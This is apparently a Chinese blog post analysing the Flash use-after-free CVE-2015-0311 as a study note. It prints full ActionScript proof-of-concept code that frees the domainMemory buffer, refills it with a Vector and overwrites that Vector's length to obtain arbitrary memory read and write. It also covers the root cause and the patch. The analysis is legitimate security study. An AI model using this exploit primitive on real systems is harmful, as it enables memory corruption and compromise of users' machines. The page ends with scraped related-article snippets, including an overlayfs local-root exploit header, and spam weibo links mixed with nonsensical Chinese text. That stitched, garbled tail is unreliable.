Anslysis Of CVE-2015-0311

最近Flash 0day各种爆,抽空分析了一个手头已经有的CVE-2015-0311样本,作为flash分析的一个学习笔记,毕竟这是个flash的UAF漏洞,以前在IE里面分析比较多,在flash上却没怎么遇到过此类漏洞,因此有必要学习下在flash没有符号的情况下UAF怎么分析。
样本来源于https://malwr.com/analysis/YTgzNDAyZTg0MDI3NDZhMThmZTE4N2YxZTVkMjBhMTc/
1.反混淆
反混淆方法具体可以查看前面的文章http://www.cnblogs.com/Lamboy/p/4278066.html

这里直接略过。
2.POC
参考趋势科技的分析报告,构造的poc代码如下:

package
{
    import flash.display.MovieClip;
    import flash.utils.ByteArray;
    import flash.utils.Endian;
    import flash.system.ApplicationDomain;
    import flash.utils.*;
    import flash.display.*;
    import avm2.intrinsics.memory.*;

    public final class poc extends MovieClip
    {
        public static function ByteArrayWriter(param1:ByteArray, param2:int) : void
        {
         param1.position = 0;
         var c:uint = 0;
         while(c < param1.length / 4)
         {
            param1.writeInt(param2);
            c++;
         }
         param1.position = 0;

        }
        public function poc()
        {
            var test_b:ByteArray=new ByteArray();
            test_b.endian = Endian.LITTLE_ENDIAN;
            test_b.position=0;
            var a:uint = 0;
            var b:uint=0xfeedface;
            while(true)
            {
                if(a >= 8192/4)
                {
                    break;
                }
                test_b.writeUnsignedInt(b + a);
                a++;
            }
            test_b.compress();
            var c:uint=512;
            test_b.position=c;
            while(c<test_b.length)
            {
                test_b.writeByte(c);   //modify compressed ByteArray
                c++;
            }
            ApplicationDomain.currentDomain.domainMemory = test_b;   //set domainMemory
            var x:uint=0x11223344;
            var y:uint=0xaabbccdd;
            x=x+y;
            try
            {
                test_b.uncompress();
            }
            catch(error:Error)
            {
                trace("exception");
            };
            var test_c:Vector.<uint>=new Vector.<uint>(0x7f8);
            for(var i:uint=0;i<0x7f8;i+=1)
            {
                test_c[i]=i;
            }
            x=x+li32(0);//read vector length
            si32(0x7fffffff,0x0);//modify vector length
            x=test_c[0x40000000];
        }
    }
}

在AIR SDK下编译通过。

3.漏洞成因

根据趋势科技的Blog描述,这是一个DomainMemory产生的UAF,主要在DomainMemory指向的ByteArray在进行Compress和Uncompress时,对内存的处理错误导致。
首先创建了一个名为test_b,大小为0×2000的ByteArray,然后初始化ByteArray的内容如下:


紧接着将ByteArray进行压缩,压缩时会创建新的Buffer来保存压缩后的数据:

之后代码会修改ByteArray位于0×200之后的数据:

将ByteArray设置为DomainMemory,设置完成后在DomainMemory中保存该ByteArray的buffer:

其中0xaab8000为DomainMemory指向的Buffer,之后紧跟着DomainMemory的大小。
此时一切都没有问题,但是接下来的代码会将该ByteArray进行解压缩,你是否还记得我们前面对ByteArray的0×200之后的数据进行了修改?
这样在用同样的算法解压缩时就会出现问题,导致解压缩失败,而avm在解压缩时通过一个叫做Grower的类来处理解压缩,该类会动态分配解压缩的
Buffer大小,这样在解压缩时先分配足够的空间并解压数据,发现解压失败则释放分配的ByteArray,不过由于这个数组比较特殊,因为他是个DomainMemory类型,这样在解压缩时先将分配的buffer更新到DomainMemory结构中,但是由于解压失败,这块buffer最终被释放了,但是DomainMemory中仍然保留了这块buffer的指针,因此在try catch捕获到解压的异常后会继续执行,但DomainMemory却指向一个被Free掉的内存:

此时的DomainMemory中指向的Buffer已经是一片释放的内容了。

接下来通过Vector来分配这块内存并填充数据:

上图可以看到,DomainMemory的buffer指向了一个Vector结构,这样就可以通过DomainMemory的专属指令来读取和修改vector大小了:

修改后的Vector:

这样就可以对内存进行全局的读写了。

4.补丁对比

Adobe在flash版本为16.0.0.296中修复了此漏洞,修复后对ByteArray进行unmpress失败后,并没有将新的Buffer更新到DomainMemory的Buffer中:

5.参考

http://blog.trendmicro.com/trendlabs-security-intelligence/analyzing-cve-2015-0311-flash-zero-day-vulnerability/

时间: 2024-10-12 09:54:01

Anslysis Of CVE-2015-0311的相关文章

如何确定Ubuntu下是否对某个CVE打了补丁

????前些日子在月赛中,拿到了一台Ubuntu14.04的服务器,但并不是root权限,需要提权.我Google了一下,找到了CVE-2015-1318,CVE-2015-1328,CVE-2015-1338这些可以用来提权的CVE和POC.当我用CVE-2015-1328来提权时,并没有成功,我当时就想知道我这台服务器到底打没打上这个CVE的补丁呢? ????后来,我在网上查了下,稍微琢磨了下,就有了这个方法,可能不一定是最方便最好用的.我在Google直接搜索CVE-2015-1328,找

CVE-2015-1328(本地提权漏洞)

/* # Exploit Title: ofs.c - overlayfs local root in ubuntu # Date: 2015-06-15 # Exploit Author: rebel # Version: Ubuntu 12.04, 14.04, 14.10, 15.04 (Kernels before 2015-06-15) # Tested on: Ubuntu 12.04, 14.04, 14.10, 15.04 # CVE : CVE-2015-1328 (http:

CVE-2015-1328 Ubuntu 12.04, 14.04, 14.10, 15.04 overlayfs Local Root

catalog 0. 引言 1. Description 2. Effected Scope 3. Exploit Analysis 4. Principle Of Vulnerability 5. Patch Fix 0. 引言 新技术.高性能技术的不断发展,越来越提升了操作系统的能力,而近几年出现的虚拟化技术,包括overlayfs虚拟层叠文件系统技术,则为docker这样的虚拟化方案提供了越来越强大的技术支撑,但是也同时带来了很多的安全问题抛开传统的overflow溢出型漏洞不说,还有另一

STM32单片机学习(11) DS18B20温度传感器实验

STM32单片机学习(11) DS18B20温度传感器实验 本程序主要实现 DS18B20温度传感器数据获取,并利用串口通信把温度数据传至计算机 注:使用普中科技开发板测试时,需要拔掉Boot1插口,因为用到的是PA15管脚, 由开发板电路图可知,需要改变PA15 管脚的映射,将其设置成普通IO口 参考资料 DS18B20中文手册.pdf   http://download.csdn.net/detail/leytton/7742193 STM32-外设篇 视频教程(Cortex-M3)-主讲人

BezierDemo源码解析-实现qq消息气泡拖拽消失的效果

这篇文章中我们比较了DraggableFlagView和BezierDemo两个项目的区别,提到将对其中一个做源码分析,那么我们就来分析BezierDemo的源码吧,因为这个项目的源码最简单,可以更直接的去分析核心的东西.但是效果还是DraggableFlagView好些.我尽量讲的详细些,满足更多的初学者.这篇文章主要分析拉伸效果的实现. 源码结构 BezierDemo只有两个java文件 其中MainActivity.java是程序界面,而BezierView.java是实现了粘连拉伸效果的

VirtualBox网络连接方式

VirtualBox图形界面下有四种网络接入方式,它们分别是: 1.NAT 网络地址转换模式(NAT,Network Address Translation) 2.Bridged Adapter 桥接模式 3.Internal 内部网络模式 4.Host-only Adapter 主机模式 而在CommandLine下则有八种方式,除上面列出的四种外还有下列四种: 1.UDP Tunnel networking 2.VDE networking 3.Limiting bandwidth for

阿尔红军我让我特我问题沃特尔行业

http://www.houzz.com/ideabooks/38419124/thumbs/2015.01.04 http://www.houzz.com/ideabooks/38419135/thumbs/2015.01.04 http://www.houzz.com/ideabooks/38419147/thumbs/2015.01.04 http://www.houzz.com/ideabooks/38419107/thumbs/2015.01.04 http://www.houzz.c

哪敢跟学长这么

不少人面庞上有不由得惊呼出声http://weibo.com/09.16/2015/p/1001603887569338240338http://weibo.com/09.16/2015/p/1001603887569338268443http://weibo.com/09.16/2015/p/1001603887569342462767http://weibo.com/09.16/2015/p/1001603887569342462769http://weibo.com/09.16/2015/

右手缓缓握拢而

火红烈日炸裂的一路冲杀进去吧http://weibo.com/2015/09/16/p/1001603887216807041204http://weibo.com/2015/09/16/p/1001603887216811186273http://weibo.com/2015/09/16/p/1001603887216811186277http://weibo.com/2015/09/16/p/1001603887216811235528http://weibo.com/2015/09/16/

叶轻灵苦笑一声

灵光刚刚收起时灵兵潮流尽数的牧尘准备不错http://weibo.com/2015.09.16/p/1001603887492385369004http://weibo.com/2015.09.16/p/1001603887492389563376http://weibo.com/2015.09.16/p/1001603887492393757752http://weibo.com/2015.09.16/p/1001603887492397975161http://weibo.com/2015.